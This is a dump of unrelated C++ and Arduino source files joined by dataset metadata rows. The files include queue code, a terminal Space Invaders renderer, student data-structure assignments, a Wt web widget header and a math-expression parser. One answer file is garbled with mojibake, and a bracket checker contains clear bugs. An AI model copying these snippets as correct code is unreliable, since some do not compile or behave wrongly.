elem->prev(temp);
temp->next()->prev(elem);
temp->next(elem);
if(count == _length) {
_head.prev(elem);
}
if(count == 0) {
_head.next(elem);
}
_length++;
} else {
insert(elem);
}
}
Queue::Element * Queue::remove() {
if (_length == 0) {
throw -1;
}
Element *originalHead = _head.next();
Element *last = _head.prev();
_head.next(originalHead->next());
_head.next()->prev(last);
last->next(_head.next());
_length--;
return originalHead;
}
void Queue::remove(Element * elem) {
if (_length == 0) {
throw -1;
}
if (elem == 0) {
throw -2;
}
Element* temp = _head.next();
int count = 0;
while (count < _length) {
if (elem == temp) {
break;
} else {
temp = temp->next();
}
count++;
}
if (count == _length) {
throw -3;
}
temp->prev()->next(temp->next());
temp->next()->prev(temp->prev());
if(count == 0) {
_head.next(temp->next());
} else if(count == _length -1) {
_head.prev(temp->prev());
}
_length--;
}
// Private
Queue::Element * Queue::search(Element * elem) {
if (_length == 0) {
throw -1;
}
if (elem == 0) {
throw -2;
}
Element* temp = _head.next();
int count = 0;
while (count < _length) {
if (elem == temp) {
return temp;
} else {
temp = temp->next();
}
count++;
}
throw -3;
}
bool Queue::searchB(Element * elem) {
try {
Element* e = search(elem);
} catch (int e) {
return false;
}
return true;
}
}
#endif | true |
6ec19132dfc54c8b2c0c6e6518a8a57dde9b53ed | C++ | sandbox-3/entidy | /examples/SpaceInvaders/src/Systems/SRendering.cpp | UTF-8 | 6,175 | 2.75 | 3 | [
"MIT"
] | permissive | #include "Systems/SRendering.h"
using namespace entidy;
using namespace entidy::spaceinvaders;
void SRendering::Init(Engine engine) { }
void SRendering::Update(Engine engine)
{
if(engine->Renderer()->Cols() < VIEWPORT_W || engine->Renderer()->Cols() < VIEWPORT_H)
{
RenderInvalidSize(engine);
return;
}
RenderBackground(engine);
RenderExplosions(engine);
RenderSprites(engine);
ClearBorder(engine);
}
double SRendering::Distance(const Vec2f& p1, const Vec2f& p2)
{
return sqrt((p1.x - p2.x) * (p1.x - p2.x) + 3 * (p1.y - p2.y) * (p1.y - p2.y));
}
void SRendering::ClearBorder(Engine engine)
{
ushort offset_x = (engine->Renderer()->Cols() - VIEWPORT_W) / 2;
ushort offset_y = (engine->Renderer()->Rows() - VIEWPORT_H) / 2;
for(ushort x = 0; x < engine->Renderer()->Cols(); x++)
{
for(ushort y = 0; y < engine->Renderer()->Rows(); y++)
{
bool inboundsx = (x >= offset_x && x < offset_x + VIEWPORT_W);
bool inboundsy = (y >= offset_y && y < offset_y + VIEWPORT_H);
if(inboundsx && inboundsy)
continue;
Pixel* p = engine->Renderer()->At(x, y);
p->Foreground.R = 0;
p->Foreground.G = 0;
p->Foreground.B = 0;
p->Background.R = 0;
p->Background.G = 0;
p->Background.B = 0;
p->Glyph = ' ';
}
}
}
void SRendering::RenderSprites(Engine engine)
{
ushort offset_x = (engine->Renderer()->Cols() - VIEWPORT_W) / 2;
ushort offset_y = (engine->Renderer()->Rows() - VIEWPORT_H) / 2;
auto sprite_view = engine->Registry()->Select({"Sprite", "Position"}).Having("Sprite & Position");
sprite_view.Each([&](Entity e, Sprite* sprite, Vec2f* position) {
ushort start_x = offset_x + position->x - floor(float(sprite->cols) / 2.0);
ushort start_y = offset_y + position->y - floor(float(sprite->rows) / 2.0);
for(ushort x = 0; x < sprite->cols; x++)
{
for(ushort y = 0; y < sprite->rows; y++)
{
// if(start_x + x >= VIEWPORT_W || start_x + x < 0)
// continue;
// if(start_y + y >= VIEWPORT_H || start_y + y < 0)
// continue;
Pixel* p = engine->Renderer()->At(start_x + x, start_y + y);
size_t frame_id = size_t(round(sprite->frame)) % sprite->frames.size();
size_t glyph_id = y * sprite->cols + x;
if(glyph_id > sprite->frames[frame_id].glyphs.size())
continue;
if(sprite->frames[frame_id].bgcolor.R >= 0)
p->Background.R = sprite->frames[frame_id].bgcolor.R;
if(sprite->frames[frame_id].bgcolor.G >= 0)
p->Background.G = sprite->frames[frame_id].bgcolor.G;
if(sprite->frames[frame_id].bgcolor.B >= 0)
p->Background.B = sprite->frames[frame_id].bgcolor.B;
if(sprite->frames[frame_id].fgcolor.R >= 0)
p->Foreground.R = sprite->frames[frame_id].fgcolor.R;
if(sprite->frames[frame_id].fgcolor.G >= 0)
p->Foreground.G = sprite->frames[frame_id].fgcolor.G;
if(sprite->frames[frame_id].fgcolor.B >= 0)
p->Foreground.B = sprite->frames[frame_id].fgcolor.B;
p->Glyph = sprite->frames[frame_id].glyphs[glyph_id];
}
}
sprite->frame += sprite->speed;
});
}
void SRendering::RenderInvalidSize(Engine engine)
{
string error_msg = "Terminal window size should be at least " + to_string(VIEWPORT_W) + "x" + to_string(VIEWPORT_H);
ushort offset_x = (engine->Renderer()->Cols() - error_msg.length()) / 2;
ushort offset_y = engine->Renderer()->Rows() / 2;
for(ushort x = 0; x < error_msg.length(); x++)
{
Pixel* p = engine->Renderer()->At(offset_x + x, offset_y);
p->Foreground.R = 255;
p->Foreground.G = 255;
p->Foreground.B = 255;
p->Glyph = error_msg[x];
}
}
void SRendering::RenderBackground(Engine engine)
{
vector<Vec2f*> fx_fog_positions;
View view_fog = engine->Registry()->Select({"Position"}).Having("Position & BGFXFog");
view_fog.Each([&](Entity e, Vec2f* position) { fx_fog_positions.push_back(position); });
vector<BGFXRipple*> fx_ripples;
View view_ripple = engine->Registry()->Select({"BGFXRipple"}).Having("BGFXRipple");
view_ripple.Each([&](Entity e, BGFXRipple* ripple) { fx_ripples.push_back(ripple); });
for(ushort x = 0; x < engine->Renderer()->Cols(); x++)
{
for(ushort y = 0; y < engine->Renderer()->Rows(); y++)
{
double dist_fog = 0;
for(Vec2f* p : fx_fog_positions)
dist_fog += Distance(*p, Vec2f((double)x, (double)y));
dist_fog = dist_fog / (double)fx_fog_positions.size();
double diag = sqrt((VIEWPORT_W * VIEWPORT_W) + (VIEWPORT_H * VIEWPORT_H));
double sat_fog = (dist_fog / diag);
Pixel* p = engine->Renderer()->At(x, y);
p->Background.R = 0;
p->Background.G = 0;
p->Background.B = (uint8_t)(sat_fog * 100.0);
}
}
// View view2 = engine->Entidy()->Select({"Position"}).Filter("BGFXFog");
// view2.Each([&](Entity e, Vec2f* position) {
// Pixel* p = engine->Renderer()->At((uint8_t)position->x, (uint8_t)position->y);
// p->Background.R = 255;
// p->Background.G = 0;
// p->Background.B = 0;
// p->Foreground.R = 0;
// p->Foreground.G = 0;
// p->Foreground.B = 0;
// p->Glyph = 'X';
// });
}
void SRendering::RenderExplosions(Engine engine)
{
ushort offset_x = (engine->Renderer()->Cols() - VIEWPORT_W) / 2;
ushort offset_y = (engine->Renderer()->Rows() - VIEWPORT_H) / 2;
vector<BGFXRipple*> fx_ripples;
View view_ripple = engine->Registry()->Select({"BGFXRipple"}).Having("BGFXRipple");
view_ripple.Each([&](Entity e, BGFXRipple* ripple) { fx_ripples.push_back(ripple); });
for(ushort x = 0; x < engine->Renderer()->Cols(); x++)
{
for(ushort y = 0; y < engine->Renderer()->Rows(); y++)
{
double sat_ripple = 0;
for(BGFXRipple* p : fx_ripples)
{
double dist_ripple = Distance(p->center, Vec2f((double)x, (double)y));
bool ripple_selected = dist_ripple < (p->radius);
sat_ripple += ripple_selected ? p->intensity : 0;
}
Pixel* p = engine->Renderer()->At(offset_x + x, offset_y + y);
p->Foreground.R = (uint8_t)(sat_ripple * 75.0);
p->Foreground.G = (uint8_t)(sat_ripple * 25.0);
p->Foreground.B = (uint8_t)(max(p->Background.B, (uint8_t)(sat_ripple * 25.0)));
p->Glyph = sat_ripple > 0 ? (Helper::RandBool(0.5) ? '{' : '}') : ' ';
}
}
} | true |
de64ad9507e4f734dbaaa3b909d59ebf525f2793 | C++ | ahmedelgendyfci/Assingment-3-Data-Structure | /A3P4/A3P4/Source.cpp | UTF-8 | 1,283 | 3.390625 | 3 | [] | no_license | #include <iostream>
#include<string>
#include<stack>
using namespace std;
bool Stack(string str)
{
stack<char> s1;
bool b = true;
for (int i = 0; i < sizeof(str); i++)
{
if (str[i] == '(' || str[i] == '[' || str[i] == '{')
{
s1.push(str[i]);
}
else if (str[i] == ')' || str[i] == ']' || str[i] == '}')
{
if (str[i] == ')'&&s1.top() == '(')
{
s1.pop();
}
else if (str[i] == ']'&&s1.top() == '[')
{
s1.pop();
}
else if (str[i] == '}'&&s1.top() == '{')
{
s1.pop();
}
else
b = false;
}
else if (str[i] == '/')
{
if (str[i + 1] == '*')
{
s1.push(str[i]);
s1.push(str[i + 1]);
continue;
}
}
else if (str[i] == '*')
{
char c1, c2;
if (str[i + 1] == '/')
{
c1 = s1.top();
c2 = s1.top();
s1.pop();
s1.pop();
if (c1 = '*', c2 = '/')
continue;
else
b = false;
}
}
}
return b;
}
int main()
{
string s;
cout << "please enter your string " << endl;
cin >> s;
string s5 = "([{}])(){}[]{[]}";
string s1 = "({)}";
string s2 = "({/*)}]]]]]]}*/})";
string s3 = "({/*[][[]]]]]})";
string s4 = "[{/*******/}]";
bool b;
b = Stack(s);
if (b == true)
cout << "valid\n";
else
cout << "in valid\n";
system("pause");
return 0;
}
| true |
8565bd6200df70d7ee7b93cf1fd9a160b19495f0 | C++ | Coldiep/ezop | /web/ezop_widget.h | UTF-8 | 1,061 | 2.625 | 3 | [] | no_license |
#pragma once
#include <string>
#include <Wt/WContainerWidget>
#include <Wt/WMenu>
#include <Wt/WString>
#include <Wt/WStackedWidget>
#include <web/menu_element.h>
#include <web/session.h>
namespace ezop { namespace web {
/// Абстрактный класс для всех элементов главного меню.
/// Главный класс Web приложения.
class EzopWidget : public Wt::WContainerWidget {
public:
/// В конструкторе создается главное меню проекта.
EzopWidget();
/// Установка текущего имени пользователя.
void SetUserName(const Wt::WString& name);
private:
/// Добавления элемента меню.
void AddToMenu(Wt::WMenu* menu, const std::string& name, MenuElement* element);
/// Имя текущего пользователя.
Wt::WString user_name_;
/// Содержимое.
Wt::WStackedWidget* content_;
/// Сессия базы данных.
Session session_;
};
}} // namespace ezop, web.
| true |
7aa05f4f20d6179e01ca9e57fca7de42b848a52c | C++ | andrembarreto/2020-2-exercicio-revisao-refatoracao | /EncomendaRelampago.hpp | UTF-8 | 983 | 3.078125 | 3 | [] | no_license | #ifndef EncomendaRelampago_H
#define EncomendaRelampago_H
#include "Encomenda.hpp"
#include "Cliente.hpp"
using namespace std;
class EncomendaRelampago: public Encomenda{
private:
static constexpr double taxaRelampago = 0.25; // taxa adicional pela entrega mais rapida
public:
EncomendaRelampago(double weight, double costkg, Cliente sender, Cliente receiver) {
this->PESO = weight;
this->CUSTOkg = costkg;
this->remetente = sender;
this->dest = receiver;
}
double calcula() override {
this->custoTotal = PESO * CUSTOkg;
this->custoTotal += this->custoTotal * this->taxaRelampago; // aplicacao da taxa
return this->custoTotal;
}
void print() override {
Encomenda::print();
std::cout << "[Encomenda Relâmpago]" << endl;
std::cout << " Peso: " << PESO << endl
<< " Custo por kg: " << CUSTOkg << endl
<< " Taxa adicional: " << taxaRelampago << endl
<< " Custo total: " << custoTotal << endl;
}
};
#endif | true |
69a900b3956075236bdb3049166365b2c75b0f58 | C++ | songzhenglian/song_zhenglian | /chap08ex_08/main.cpp | GB18030 | 644 | 2.515625 | 3 | [] | no_license | a) unsigned int values[5]={2,4,6,8,10};
b) unsigned int *vPtr;
c) cout<<fixed<<showpoint<<setprecision(1);
for(size_t i=0;i<size;++i)
cout<<values[i]<<' ';
d) vPtr=values;
*vPtr=&values[0];
e) cout<<fixed<<showpoint<<setprecision(1);
for(size_t j=0;j<size;++j)
cout<<*(vPtr+j)<<' ';
f) cout<<fixed<<showpoint<<setprecision(1);
for(size_t k=0;k<size;++K)
cout<<*(values+k)<<' ';
g) cout<<fixed<<showpoint<<setprecision(1);
for(size_t m=0;m<size;++m)
cout<<vPtr[m]<<' ';
h) values[4]
*(values+4)
vPtr[4]
*(vPtr+4)
i) ַ1002500+2*3=1002506;洢ֵΪvalues[3];
j) 1002500;洢ֵΪvalues[0];
| true |
f68b9c10916076e1ce1f70217a6186aa03fa4867 | C++ | Zaela/ZEQClient | /src/file_stream.h | UTF-8 | 1,312 | 3.171875 | 3 | [] | no_license |
#ifndef _ZEQ_FILE_STREAM_H
#define _ZEQ_FILE_STREAM_H
#include <cstdio>
#include "types.h"
#include "exception.h"
#include "memory_stream.h"
class FileStream : public MemoryStream
{
private:
static void readFile(FILE* fp, byte*& data, uint32& len)
{
//not completely portable (good enough for Windows and Linux, at least), fix this sometime
fseek(fp, 0, SEEK_END);
len = ftell(fp);
if (len == 0)
{
fclose(fp);
return;
}
rewind(fp);
data = new byte[len];
fread(data, 1, len, fp);
fclose(fp);
}
FileStream(byte* data, uint32 len)
{
setData(data);
setLen(len);
}
public:
FileStream(const char* path)
{
FILE* fp = fopen(path, "rb");
if (fp == nullptr)
throw ZEQException("FileStream::FileStream: Could not open file '%s'", path);
byte* data = nullptr;
uint32 len;
readFile(fp, data, len);
if (data == nullptr)
throw ZEQException("FileStream::FileStream: Attempt to open empty file '%s'", path);
setData(data);
setLen(len);
}
//does not throw exceptions on failure
static FileStream* open(const char* path)
{
FILE* fp = fopen(path, "rb");
if (fp == nullptr)
return nullptr;
byte* data = nullptr;
uint32 len;
readFile(fp, data, len);
if (data == nullptr)
return nullptr;
return new FileStream(data, len);
}
};
#endif
| true |
5846bf9d0fc8b6d129f4acad8de5b3c771fdab0d | C++ | mufengdaozhang/Function-Plotter | /math_expressions/math_expression_symbol.h | UTF-8 | 1,714 | 3.28125 | 3 | [
"MIT"
] | permissive | #ifndef MATH_EXPRESSION_SYMBOL_H
#define MATH_EXPRESSION_SYMBOL_H
#include <string>
#include <ostream>
namespace math_expression {
struct TerminalSymbol;
struct Symbol;
enum NonTerminalSymbol {
A = 65, B, C, D, E, F, G, H, I, J, K, L, M, N,
O, P, Q, R, S, T, U, V, W, X, Y, Z
};
std::ostream& operator<<(std::ostream& os, const TerminalSymbol& ts);
}
struct math_expression::TerminalSymbol {
enum Type {
VARIABLE, VALUE, ARITHMETIC_OPERATOR,
FUNCTION, OPENING_PARENTHESIS, CLOSING_PARENTHESIS, UN_RECONIZED
};
TerminalSymbol() : TerminalSymbol(UN_RECONIZED, "", 0) {}
TerminalSymbol(Type type) : TerminalSymbol(type, "", 0) {}
TerminalSymbol(Type type, const std::string& value, int column)
: type(type), value(value), column(column) {}
TerminalSymbol(const TerminalSymbol& other)
: TerminalSymbol(other.type, other.value, other.column) {}
bool operator==(const TerminalSymbol& other) const {
return type == other.type;
}
bool operator!=(const TerminalSymbol& other) const {
return type != other.type;
}
const Type type;
const std::string value;
const int column = 0;
};
struct math_expression::Symbol {
Symbol(const TerminalSymbol& value)
: is_terminal(true), terminal_value(value), non_terminal_value() {}
Symbol(const NonTerminalSymbol& value)
: is_terminal(false), terminal_value(), non_terminal_value(value) {}
Symbol(const Symbol& other)
: is_terminal(other.is_terminal), terminal_value(other.terminal_value),
non_terminal_value(other.non_terminal_value) {}
const bool is_terminal;
const TerminalSymbol terminal_value;
const NonTerminalSymbol non_terminal_value;
};
#endif // MATH_EXPRESSION_SYMBOL_H | true |
a986f30f4ac83c61514ef42b8109cbcb2bb5d3ed | C++ | ribinmathew/personal_project | /arduino/ultrasonic .ino | UTF-8 | 825 | 2.765625 | 3 | [] | no_license | const int trigpin = 37;
const int echopin = 35;
const int trigpin1 = 31;
const int echopin1 = 33;
long duration;
int distance;
long duration1;
int distance1;
void setup() {
pinMode(trigpin, OUTPUT);
pinMode(echopin, INPUT);
pinMode(trigpin1,OUTPUT);
pinMode(echopin1,INPUT);
Serial.begin(9600);
}
void loop() {
digitalWrite(trigpin, LOW);
delayMicroseconds(2);
digitalWrite(trigpin,HIGH);
delayMicroseconds(10);
digitalWrite(trigpin,LOW);
duration = pulseIn(echopin,HIGH);
distance = duration*0.034/2;
digitalWrite(trigpin1,LOW);
delayMicroseconds(2);
digitalWrite(trigpin1,HIGH);
delayMicroseconds(10);
digitalWrite(trigpin1,LOW);
duration1 = pulseIn(echopin1,HIGH);
distance1 = duration1*0.034/2;
Serial.print("Distace: ");
Serial.println(distance);
Serial.print("Distace1:");
Serial.println(distance1);
delay(1000);
} | true |
3cddc68291ae6fb035422c93057f312e5d5a8dc1 | C++ | cosmolattice/cosmolattice | /src/include/TempLat/lattice/algebra/operators/squareroot_test.h | UTF-8 | 892 | 2.546875 | 3 | [
"MIT"
] | permissive | #ifndef TEMPLAT_LATTICE_ALGEBRA_OPERATORS_SQUAREROOT_TEST_H
#define TEMPLAT_LATTICE_ALGEBRA_OPERATORS_SQUAREROOT_TEST_H
/* This file is part of CosmoLattice, available at www.cosmolattice.net .
Copyright Daniel G. Figueroa, Adrien Florio, Francisco Torrenti and Wessel Valkenburg.
Released under the MIT license, see LICENSE.md. */
// File info: Main contributor(s): Wessel Valkenburg, Year: 2019
inline void TempLat::SqrtTester::Test(TempLat::TDDAssertion& tdd) {
class myClass{
public:
myClass(int b):a(b){}
auto get(const double& i)
{
return i;
}
private:
double a;
};
myClass a(4);
//myClass b(4);
say << sqrt(a).get(4) << "\n";
tdd.verify( AlmostEqual(sqrt(a).get(4),2) );
say << safeSqrt(a).get(4) << "\n";
tdd.verify( AlmostEqual(safeSqrt(a).get(4),2) );
say << safeSqrt(a).get(-1) << "\n";
tdd.verify( AlmostEqual(safeSqrt(a).get(-1),0) );
}
#endif
| true |
06b972ec4fb78225c3d838b4886fc498d9c679fb | C++ | kzw5309/DataStructureCpp | /Assignment1/A1q2a.h | UTF-8 | 3,322 | 3.921875 | 4 | [] | no_license | /*COMP272 Assignment1 Question 2a
*Swap two adjacent elements in a list by adjusting only the links
*Use a singly-linked list
*
*Arthor:
*Date:
*/
#ifndef _A1Q2A_H_ //if not defined
#define _A1Q2A_H_
#include <iostream>
#include "Node.h"
using namespace std;
template <typename T>
class SinglyLinkedList {
private:
Node<T> *head; // head node pointer of the linked list
int size; //current size of the linked list
public:
SinglyLinkedList() {
head = NULL;
size = 0;
}
/*addHead(data):
*brief: add the data to the singly-linked list
*
*param data: the data will be stored in the new head node
*/
void addHead(int data) {
Node<T> *tmp = new Node<T>; //assign space to a temporary node
tmp->data = data;
tmp->next = head;
head = tmp; //update new head
size++;
}
/*remove(index):
*brief:remove a node with a certain index from the singly-linked list
*
*param index: the index of the node to be removed
*
*return: data stored in the certain index.
*/
int get(int index) {
if (index < 0) {
cout << "Index cannot be negative!" << endl;
return 0;
}
else if (index > size - 1) {
cout << "Index is out of bound" << endl;
return;
}
Node<T> *tmp; //temporary node pointer
int i = 0;
tmp = head;
//find the targt node
while (i < index) {
tmp = tmp->next;
i++;
}
//return stored data
return tmp->data;
}
/*remove(index):
*brief:remove a node with a certain index from the singly-linked list
*
*param index: the index of the node to be removed
*/
void remove(int index) {
//check if the index is invalid
if (index < 0) {
cout << "Index cannot be negative!" << endl;
return;
}
else if (index > size - 1) {
cout << "Index is out of bound" << endl;
return;
}
Node<T> *prevN, *tmpN; //temporary nodes pointer
if (index == 0) {
tmpN = head;
head = head->next;
}
else {
int i = 0;
tmpN = head;
prevN = tmpN;
//find the target node and the node before it
while (i < index) {
prevN = tmpN;
tmpN = tmpN->next;
i++;
}
//update the next pointer of previous node
prevN->next = tmpN->next;
}
free(tmpN);
size--;
}
/*swap(index):
*brief:swap two consecutive nodes from the node with index
*
*param index: the index of the node to be swaped with the one next to it
*/
void swap(int index) {
//check if the index is invalid
if (index < 0) {
cout << "Index cannot be negative!" << endl;
return;
}
else if (index > size - 2) {
cout << "Index is invalid for swap" << endl;
return;
}
Node<T> *prevN, *tmpN, *nextN;
int i = 0;
tmpN = head;
prevN = tmpN;
//find the target node and the node before it
while (i < index) {
prevN = tmpN;
tmpN = tmpN->next;
i++;
}
nextN = tmpN->next;
if (index != 0) { //if target node is not a head node
prevN->next = nextN;
}
//swap the node with the node next to it
tmpN->next = nextN->next;
nextN->next = tmpN;
if (index == 0) { //if the target node is the head node, update the head
head = nextN;
}
}
/*printLinkedList():
*brief:print the linked list on the console
*/
void printLinkedList() {
Node<T> *tmp;
int i = 0;
tmp = head;
while (i < size) { //travelsal the linked list
cout << tmp->data << endl;
tmp = tmp->next;
i++;
}
}
};
#endif | true |
3c61be284c7e173f28b04bc0345550b60c73fc5d | C++ | MODU-FTNC/google-language-resources | /festus/math-util.h | UTF-8 | 2,669 | 2.875 | 3 | [
"CC-BY-4.0",
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | // festus/math-util.h
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Copyright 2015 Google, Inc.
// Author: mjansche@google.com (Martin Jansche)
//
// \file
// Numerical utility functions.
#ifndef FESTUS_MATH_UTIL_H__
#define FESTUS_MATH_UTIL_H__
#include <cmath>
#include <limits>
namespace festus {
namespace internal {
template <class T>
struct NumericConstants {
// The largest value (upper bound) x for which std::exp<T>(x) == 0,
// i.e. sup {x | exp(x) == 0}.
static constexpr T SupExpEqZero() noexcept { return T(); }
// The smallest value (lower bound) x for which std::exp<T>(x) >= 1,
// i.e. inf {x | exp(x) >= 1}.
static constexpr T InfExpGeOne() noexcept { return T(); }
};
template <>
struct NumericConstants<float> {
static constexpr float SupExpEqZero() noexcept { return -103.972084F; }
static constexpr float InfExpGeOne() noexcept { return -2.98023224e-8F; }
};
template <>
struct NumericConstants<double> {
static constexpr double SupExpEqZero() noexcept {
return -745.13321910194122;
}
static constexpr double InfExpGeOne() noexcept {
return -5.5511151231257827e-17;
}
};
} // namespace internal
#if 0 // disabled after profiling
// Computes log(1 - exp(r)). If r >= 0, returns negative infinity.
template <class T>
inline T Log1mExp(T r) {
if (std::isnan<T>(r)) {
return r;
} else if (r <= internal::NumericConstants<T>::SupExpEqZero()) {
// Here exp(r) == 0, so always return log(1 - 0), which is 0.
return static_cast<T>(0);
} else if (r >= internal::NumericConstants<T>::InfExpGeOne()) {
// Here exp(r) >= 1, so always return log(1 - 1), which is -inf.
return -std::numeric_limits<T>::infinity();
} else {
return std::log1p<T>(-std::exp<T>(r));
}
}
#else // simpler implementation
// Computes log(1 - exp(r)). If r >= 0, returns negative infinity.
template <class T>
inline T Log1mExp(T r) {
if (r <= internal::NumericConstants<T>::SupExpEqZero()) {
// Here exp(r) == 0, so always return log(1 - 0), which is 0.
return static_cast<T>(0);
} else {
return std::log1p(-std::exp(r));
}
}
#endif
} // namespace festus
#endif // FESTUS_MATH_UTIL_H__
| true |
e1ea7fa529ec34da33ee36c89b1e3f6feda6bd68 | C++ | giszmr/mytest | /cpp.test/derive.test/test_derive.cpp | UTF-8 | 814 | 2.734375 | 3 | [] | no_license | #include <stdio.h>
#include "test_derive.hpp"
typedef void (*VFunc)(void);
int main(int argc, char* argv[])
{
/* Base base(1000);
VFunc func = (VFunc)*(int*)*(int*)(&base);
func(); //it works.
func = (VFunc)*((int*)*(int*)(&base) + 2);
func();*/
printf("******************\n");
Derive derive(2000);
derive.getValue();
/*VFunc dfunc = (VFunc)*(int*)*(int*)(&derive);
dfunc();
dfunc = (VFunc)*((int*)*(int*)(&derive) + 8);
dfunc();
dfunc = (VFunc)*((int*)*(int*)(&derive) + 10);
dfunc();
dfunc = (VFunc)*((int*)*(int*)(&derive) + 12);
dfunc();*/
printf("******************\n");
float a = 1.999;
int b = a;
float c = -1.999;
int d = c;
printf("a=%d b=%d\n", (int)a, b);
printf("c=%d d=%d\n", (int)c, d);
return 0;
}
| true |
274bfd038364793edb0300eab06b95b9e9b417e9 | C++ | kobyyoshida/Syntax-Checker | /fileio.cpp | UTF-8 | 320 | 2.546875 | 3 | [] | no_license | //koby yoshida
#include <iostream>
#include <fstream>
#include "fileio.h"
using namespace std;
fileio::fileio(){
}
fileio::~fileio(){
}
void fileio::openFile(string filePath){
in.open(filePath);
if(!in){
cerr << "File not found. " << endl;
exit(EXIT_FAILURE);
}
}
void fileio::closeFile(){
in.close();
}
| true |
a4786667175ed00f214c57f3ec4967d0b8787ddc | C++ | stulepbergen/Cinema | /Cinema/Film.cpp | UTF-8 | 2,036 | 3.109375 | 3 | [] | no_license | #include<iostream>
#include <windows.h>
#include "Film.h"
using namespace std;
Film::Film(int &f): film(static_cast<Films>(f)){}
void Film::getInfoFilm()
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, 14);
switch(film)
{
case PASSENGERS:
cout << "\nPassengers";
cout << "\nGenre: Drama, Romance, Sci-Fi ";
cout << "\nDirector: Morten Tyldum";
cout << "\nWriter: Jon Spaihts";
cout << "\nStars: Jennifer Lawrence, Chris Pratt, Michael Sheen";
cout << "\nDescription: A malfunction in a sleeping pod on a spacecraft traveling to a distant colony planet wakes one passenger 90 years early.";
break;
case FROZEN:
cout << "\nFrozen";
cout << "\nGenre: Animation, Adventure, Comedy";
cout << "\nDirectors: Chris Buck, Jennifer Lee";
cout << "\nWriters: Jennifer Lee (screenplay by), Hans Christian Andersen (story inspired by: The Snow Queen)";
cout << "\nStars: Kristen Bell, Idina Menzel, Jonathan Groff ";
cout << "\nDescription: When the newly crowned Queen Elsa accidentally uses her power to turn things into ice to curse her home in infinite winter,"
<< "her sister Anna teams up with a mountain man, his playful reindeer, and a snowman to change the weather condition..";
break;
case HELLO_JULIE:
cout << "\nHello, Julie!";
cout << "\nGenre: Comedy, Romance, Drama";
cout << "\nDirector: Rob Reiner";
cout << "\nWriters: Rob Reiner, Andrew Scheinman";
cout << "\nStars: Madeline Carroll, Callan McAuliffe, Rebecca De Mornay";
cout << "\nDescription: Two eighth-graders start to have feelings for each other despite being total opposites.";
break;
case AFTER:
cout << "\nAfter";
cout << "\nGenre: Romance, Drama";
cout << "\nDirector: Jenny Gage";
cout << "\nWriters: Susan McMartin, Tamara Chestna";
cout << "\nStars: Josephine Langford, Hero Fiennes Tiffin, Khadijha Red Thunder";
cout << "\nDescription: A young woman falls for a guy with a dark secret and the two embark on a rocky relationship. Based on the novel by Anna Todd.";
break;
}
}
Film::~Film() {
// TODO Auto-generated destructor stub
}
| true |
e4b3261bd8add9326a2d9b2b12a285266007a914 | C++ | cvora23/CodingInterviewQ | /Puzzles/Test5.cpp | UTF-8 | 678 | 2.90625 | 3 | [] | no_license | /*
* Test5.cpp
*
* Created on: Feb 15, 2016
* Author: chintan
*/
/*
* Policeman decided to punish the Prisoner and asked him to make a statement.
* The Prisoner should make such a statement so that he would be alive.
* If the statement is held true by Policeman, the Prisoner will be hanged to death
* and if the statement is held false, the Prisoner will be shot dead.
*
* Answer:
The Prisoner said, ‘I will be shot dead’
If Policeman says the statement is true, the Prisoner will be hanged
to death which will make his statement false.
If Policeman says the statement is false, the Prisoner will be shot
dead which will make the statement true.
*
*/
| true |
8c04e5b59bbe74e8515df4d3fc47246d4a36f66c | C++ | hinike/ofxPDSP | /src/DSP/interpolators/InterpolatorShell.cpp | UTF-8 | 1,452 | 2.671875 | 3 | [
"MIT"
] | permissive |
#include "InterpolatorShell.h"
pdsp::InterpolatorShell::InterpolatorShell(){
interpolator = reinterpret_cast<Interpolator*> ( &LinearInterpolator::linearInterpolator );
type = Linear;
}
pdsp::InterpolatorShell::InterpolatorShell(const InterpolatorShell& other) : InterpolatorShell(){
changeInterpolator(other.type);
interpolator->reset();
}
pdsp::InterpolatorShell& pdsp::InterpolatorShell::operator= (const InterpolatorShell& other){
changeInterpolator(other.type);
interpolator->reset();
return *this;
}
pdsp::InterpolatorShell::~InterpolatorShell(){
if(interpolator->hasState()){
delete interpolator;
}
}
void pdsp::InterpolatorShell::resetInterpolator(){
if( interpolator->hasState()){
interpolator->reset();
}
}
void pdsp::InterpolatorShell::changeInterpolator(Interpolator_t type){
if (interpolator->hasState()) {
delete interpolator;
}
if(type==Linear){
interpolator = reinterpret_cast<Interpolator*> ( &LinearInterpolator::linearInterpolator );
this->type = Linear;
}else if(type==Smooth){
interpolator = reinterpret_cast<Interpolator*> ( &SmoothInterpolator::smoothInterpolator );
this->type = Smooth;
}else{
interpolator = reinterpret_cast<Interpolator*> ( &LinearInterpolator::linearInterpolator );
this->type = Linear;
}
}
| true |
7bea9d7ae534e4010e666a7ce8cfab75263f21bf | C++ | EmceeEscher/Roy-the-Traffic-Cop | /src/placard.hpp | UTF-8 | 2,164 | 2.890625 | 3 | [] | no_license | #pragma once
#include "common.hpp"
#include "turn_direction.hpp"
#include <math.h>
#include <map>
class Placard : public Renderable
{
static Texture placard_texture;
public:
Placard(vec2 parent_position, float parent_rotation);
~Placard();
// Creates all the associated render resources and default transform
//bool init(vec2 parent_position, float parent_rotation);
// Releases all associated resources
void destroy();
// Update position based on parent position
// ms represents the number of milliseconds elapsed from the previous update() call
void update(vec2 parent_position, float ms);
// Renders
void draw(const mat3& projection)override;
// Will start the placard changing color to show remaining time (argument is in ms)
void start_timer(float max_time);
// Changes the placard's rotation (argument is in radians)
void set_rotation(float parent_rotation);
// Changes the direction of the turn arrow
void change_turn_direction(turn_direction new_direction);
// Changes the default color of the turn arrow to the values given
// Note: this color will be overwritten when the car reaches the front of the line by the timer colors (green->red)
void change_color(float red, float green, float blue);
// Useful debug method
turn_direction get_turn_direction();
private:
vec2 m_position; // Window coordinates
vec2 m_scale; // 1.f in each dimension. 1.f is as big as the associated texture
float m_rotation; // in radians
float m_wr;
float m_hr;
float m_sprite_width;
float m_curr_time; //in ms
float m_max_time; //in ms
float m_flash_time;
float m_flash_length = 100.f;
size_t m_num_indices; // passed to glDrawElements
float m_offset_from_parent = 100.f;
bool m_is_counting_down = false;
bool m_has_flashed = false;
float m_red = 1.f;
